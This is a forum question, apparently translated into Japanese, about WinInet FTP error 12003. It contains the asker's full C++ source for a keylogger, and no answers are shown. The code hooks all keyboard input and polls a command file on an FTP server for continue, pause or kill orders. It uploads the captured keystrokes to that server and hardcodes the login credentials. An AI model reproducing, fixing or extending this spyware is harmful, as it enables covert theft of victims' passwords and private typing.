0

drivehq.com サーバーにファイルを書き込もうとしています。ファイルはローカル ディスクにも ftp サーバーにも存在しないため、FtpOpenFile は自動的にファイルを作成しますか? エラー 12003 が表示され、どうすればよいかわかりません。続行するとエラーが発生します。

#include <iostream>
#include <windows.h>
#include <process.h>
#include <string>
#include <Wininet.h>
#include <vector>
#include <map>
#include <ctime>

using std::string;
using std::cout;
using std::cin;
using std::vector;
using std::map;

unsigned int __stdcall keylogthreadhook(void *);
LRESULT CALLBACK LowLevelKeyboardProc(int, WPARAM, LPARAM);
string gettime();


enum COMMAND{CONTINUE, PAUSE, KILL};
map<string, COMMAND> cmds;

DWORD err;
char error[4096];

string tempkeylog_buffer;
char ftpreadbuffer[1024]{};
vector<string> filetokens;

unsigned int threadid = 0;
DWORD numberread = 0, numberwritten = 0;
bool killswitch = true;


int main(){

    cmds["CONTINUE"] = CONTINUE;
    cmds["PAUSE"] = PAUSE;
    cmds["KILL"] = KILL;


    _beginthreadex(NULL,  0, &keylogthreadhook, NULL, 0, &threadid);

    while(killswitch){

    HINTERNET connection = InternetOpen("Keyclient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,0);

    cout << GetLastError();

    HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);

    cout << GetLastError();

    HINTERNET filehandle = FtpOpenFile(ftpinstance, "command.txt", GENERIC_READ, FTP_TRANSFER_TYPE_ASCII, NULL);

    //cout << GetLastError();

    InternetReadFile(filehandle, ftpreadbuffer, 1024, &numberread);
 //InternetWriteFile(filehandle, tempkeylog_buffer.c_str(), tempkeylog_buffer.size(), &numberwritten);
    cout << GetLastError();

    InternetCloseHandle(filehandle);
    //InternetCloseHandle(ftpinstance);

    //cout << ftpreadbuffer;
    //cout << "\n" << numberread;

    string temporarystr;
    cout << ftpreadbuffer;
    //cout <<reinterpret_cast<char *>(ftpreadbuffer);

    for(int i = 0; ftpreadbuffer[i] != '.'; i++){
    //cout << ftpreadbuffer[i];
        if(ftpreadbuffer[i] == '\n'){
            filetokens.push_back(temporarystr);
            temporarystr.clear();
        }

        temporarystr.push_back(ftpreadbuffer[i]);


    }



    cout << filetokens[0].c_str() << filetokens[1].c_str();
cin.get();


    map<string, COMMAND>::iterator i = cmds.find(filetokens[0].c_str());

    switch(i->second){

        case CONTINUE:{

           // HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);
            //cout << GetLastError() << "\n";

            string time = gettime();
            time.append(".txt");
            cout << time;

            HINTERNET newftplog = FtpOpenFile(ftpinstance, time.c_str(),GENERIC_WRITE, FTP_TRANSFER_TYPE_ASCII, 0);
            cout << GetLastError() << "\n";

            InternetWriteFile(newftplog, tempkeylog_buffer.c_str(), tempkeylog_buffer.size(), &numberwritten);
            cout << GetLastError() << "\n";

            InternetCloseHandle(newftplog);
            InternetCloseHandle(ftpinstance);

            cout << GetLastError() << "\n";

            tempkeylog_buffer.clear();
            cin.get();

            Sleep(atoi(filetokens[1].c_str()));

            //Upload ftp log to ftp server and sleep x seconds.


        }break;

        case PAUSE:{

            Sleep(atoi(filetokens[1].c_str()));

            //Pause the hooking thread, flip a switch so if pause remains the same we dont kill a non existant thread, and keep looping

        }break;

        case KILL:{

            //return 0 or killswitch = false;

        }break;



    }

    }


    return 0;
}

unsigned int __stdcall keylogthreadhook(void *){

    HINSTANCE hinst = GetModuleHandle(NULL);
    HHOOK hhkLowLevelKybd  = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hinst, 0);

    MSG msg;

    //MessageBox(NULL, "entered", NULL, NULL);

        while(GetMessage(&msg, NULL, 0, 0)){
            TranslateMessage(&msg);
            DispatchMessage(&msg);

        }

      UnhookWindowsHookEx(hhkLowLevelKybd);

}



LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){

    PKBDLLHOOKSTRUCT structdll = (PKBDLLHOOKSTRUCT) lParam;

    switch(nCode){

        case HC_ACTION:
            switch(wParam){

                case WM_KEYDOWN:{


                    //How should i change the following lines?

                    char buffer[256]{};
                    GetKeyNameText((MapVirtualKey(structdll->vkCode, 0)<<16), buffer, 50);
                    //use this?: ToAscii(structdll->vkCode, structdll->scanCode, NULL, myword, 0);
                    tempkeylog_buffer.append(buffer);
                }
                break;
            }
        break;
    }

return CallNextHookEx(NULL, nCode, wParam,lParam);

}

string gettime(){

        time_t rawtime;
        time ( &rawtime );
        string s = ctime(&rawtime);

        //cut off \n at the end of string (why the fuck do they even do that?)
        s = s.substr(0, s.size()-1);

    return s;
}
4

0 に答える 0